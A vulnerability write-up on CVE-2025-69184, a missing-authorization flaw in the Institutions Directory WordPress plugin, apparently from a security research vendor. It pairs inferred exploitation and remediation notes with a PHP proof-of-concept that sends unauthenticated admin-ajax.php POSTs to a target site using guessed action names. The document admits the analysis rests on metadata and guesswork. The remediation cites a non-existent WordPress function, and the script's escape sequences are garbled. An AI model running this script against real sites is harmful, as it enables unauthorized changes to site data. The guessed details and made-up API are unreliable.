Atomic Edge analysis of CVE-2025-69184 (metadata-based):
This vulnerability is a Missing Authorization flaw in the Institutions Directory WordPress plugin version 1.3.4 and earlier. The vulnerability allows unauthenticated attackers to perform unauthorized actions via a plugin function lacking proper capability checks. The CVSS score of 5.3 (Medium severity) reflects the network accessibility and low attack complexity.
Atomic Edge research indicates the root cause is CWE-862: Missing Authorization. The vulnerability description confirms the plugin fails to verify user capabilities before executing a function. Without access to source code, we infer this likely involves an AJAX handler, REST API endpoint, or admin-post action that processes requests without checking current_user_can() or similar WordPress authorization functions. The missing check permits unauthenticated users to trigger functionality intended for authenticated users.
Exploitation involves sending HTTP requests to WordPress endpoints that invoke the vulnerable plugin function. Based on WordPress plugin patterns, the most probable attack vector is the admin-ajax.php endpoint with an action parameter containing the plugin’s AJAX hook. Attackers would craft POST requests to /wp-admin/admin-ajax.php with action=institutions_directory_action (or similar derivative) and required parameters for the unauthorized operation. No authentication cookies or nonces are required due to the missing authorization check.
Remediation requires adding proper capability checks before executing the vulnerable function. The plugin should implement current_user_can() with appropriate capability (like manage_options) or check_user_ajax_nonce() for AJAX handlers. WordPress best practices mandate checking nonces for state-changing operations and capabilities for administrative functions. The patch should also consider implementing proper REST API permission callbacks if the vulnerability exists in a REST endpoint.
Successful exploitation enables unauthenticated attackers to perform unauthorized actions. The CVSS vector indicates Confidentiality=None, Integrity=Low, Availability=None. This suggests the vulnerability allows modification of plugin data or settings without compromising confidentiality or causing denial of service. Potential impacts include altering institution directory entries, modifying plugin configurations, or triggering administrative functions that affect data integrity.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69184 - Institutions Directory <= 1.3.4 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-69184
* Assumptions based on WordPress plugin patterns:
* 1. Vulnerable endpoint is /wp-admin/admin-ajax.php (most common for missing auth)
* 2. AJAX action parameter contains 'institutions_directory' prefix
* 3. No authentication or nonce required due to missing capability check
* 4. Attack modifies plugin data (integrity impact per CVSS)
*/
$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS
// Construct AJAX endpoint
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// Common AJAX action patterns for this plugin slug
$possible_actions = [
'institutions_directory_action',
'institutions_directory_save',
'institutions_directory_update',
'institutions_directory_delete',
'institutions_directory_import',
'institutions_directory_export'
];
echo "[+] Testing CVE-2025-69184 against: $ajax_urlnn";
foreach ($possible_actions as $action) {
echo "[*] Testing AJAX action: $actionn";
// Prepare POST data - minimal payload for unauthorized action
$post_data = [
'action' => $action,
'data' => 'test_exploit', // Generic parameter name
'id' => '1' // Common parameter for record operations
];
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Analyze response
if ($http_code == 200 && !empty($response)) {
echo "[!] POTENTIAL SUCCESS: Received 200 response for action '$action'n";
echo " Response: " . substr($response, 0, 200) . "...n";
// Check for WordPress error messages indicating authorization failure
if (stripos($response, 'nonce') !== false ||
stripos($response, 'permission') !== false ||
stripos($response, 'capability') !== false) {
echo " [~] Authorization check detected - likely not vulnerablen";
} else {
echo " [+] No authorization errors detected - possible exploitationn";
}
} else if ($http_code == 403 || $http_code == 401) {
echo " [-] Authorization blocked request (HTTP $http_code)n";
} else {
echo " [-] Unexpected response: HTTP $http_coden";
}
echo "n";
curl_close($ch);
}
echo "[+] PoC complete. Manual verification required to confirm specific vulnerable action.n";
?>
